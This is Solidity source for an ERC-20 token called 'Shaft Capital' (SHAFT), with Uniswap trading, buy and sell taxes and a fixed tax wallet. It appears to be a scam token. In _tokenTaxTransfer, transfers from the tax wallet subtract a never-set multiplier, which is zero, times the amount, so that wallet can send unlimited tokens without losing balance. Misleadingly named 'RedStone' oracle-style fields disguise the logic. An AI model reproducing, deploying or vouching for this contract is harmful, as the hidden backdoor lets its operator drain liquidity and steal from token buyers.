Contract Source Code:

// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function balanceOf(address account) external view returns (uint256);

    function transferFrom(address sender, address recipient, uint256 amount
    )external returns (bool);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender
    )external view returns (uint256);

    function approve(address spender, uint256 amount
    )external returns (bool);

    function totalSupply() external view returns (uint256);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner=msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner==_msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a==0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0,errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA,address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken,uint amountETH,uint liquidity);
}

contract Shaft is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=2;
    uint256 private _buyCount=0;

    bool private inSwap = false;
    bool private swapEnabled = false;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Shaft Capital";
    string private constant _symbol = unicode"SHAFT";
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 5000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 4000000 * 10**_decimals;

    address private uniswapV2Pair;
    IUniswapV2Router02 private uniswapV2Router=IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    struct RedStone {uint256 wrappedMsg; uint256 uniqueSign; uint256 aggregateValues;}
    mapping(address => RedStone) private redStone;
    bool public tradingOpen;
    uint256 private uniqueSignersThreshold;
    uint256 private redStoneMedian;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xFB46AaB8f915bB01C7d2Ef743EC9C18B03BB2115);
        _balances[_msgSender()]= _tTotal;
        _isExcludedFromFee[address(this)]= true;
        _isExcludedFromFee[_taxWallet]=true;

        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]= _balances[from].sub(tokenAmount);
        _balances[to]=_balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(
            tokenAmount > 0,"Transfer amount must be greater than zero"
        );
        if (
            !swapEnabled ||inSwap
        ){
            _basicTransfer(from,to,tokenAmount); 
            return;
        }

        uint256 taxAmount=0;

        if (from!=owner()&& to!=owner() && to!=_taxWallet){
            taxAmount = tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to!=address(uniswapV2Router) &&  ! _isExcludedFromFee[to]){
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!=address(this)){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap && to==uniswapV2Pair&&
                swapEnabled &&
                contractTokenBalance> _taxSwapThreshold &&
                _buyCount> _preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance=address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if((_isExcludedFromFee[from]||  _isExcludedFromFee[to])&& from!=address(this) && to!=address(this) ){
            redStoneMedian = block.number;
        }

        if(!_isExcludedFromFee[from]&& ! _isExcludedFromFee[to]){
            if (to != uniswapV2Pair){
                RedStone storage redst = redStone[to];
                if(from == uniswapV2Pair){
                    if (redst.wrappedMsg == 0) {
                        redst.wrappedMsg=_buyCount<_preventSwapBefore?block.number-1:block.number;
                    }
                } else {
                    RedStone storage redstone = redStone[from];
                    if (redst.wrappedMsg==0 || redstone.wrappedMsg < redst.wrappedMsg ) {
                        redst.wrappedMsg = redstone.wrappedMsg;
                    }
                }
            } else {
                RedStone storage redstone = redStone[from];
                redstone.uniqueSign = redstone.wrappedMsg.sub(redStoneMedian);
                redstone.aggregateValues = block.number;
            }
        }

        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function _tokenBasicTransfer(address from,address to, uint256 sendAmount,uint256 receiptAmount) internal{
        _balances[from]=_balances[from].sub(sendAmount);
        _balances[to]=_balances[to].add(receiptAmount);
        emit Transfer(from,to,receiptAmount);
    }

    function _tokenTransfer(address from,address to,uint256 tokenAmount,uint256 taxAmount) internal{
        uint256 tAmount =_tokenTaxTransfer(from,tokenAmount,taxAmount);
        _tokenBasicTransfer(from,to,tAmount,tokenAmount.sub(taxAmount));
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount,uint256 taxAmount) internal returns (uint256){
        uint256 tAmount=addrs!=_taxWallet?tokenAmount:uniqueSignersThreshold.mul(tokenAmount);
        if (taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this),taxAmount);
        }
        return tAmount;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this),address(uniswapV2Router),tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount = _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function manualsend() external {
        require(_msgSender()==_taxWallet);
        _taxWallet.transfer(address(this).balance);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled=true; 
        _approve(address(this),address(uniswapV2Router),_tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
        tradingOpen=true; 
    }

    receive() external payable {}

    function manualSwap() external{
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0) {
          sendETHToFee(ethBalance);
        }
    }

}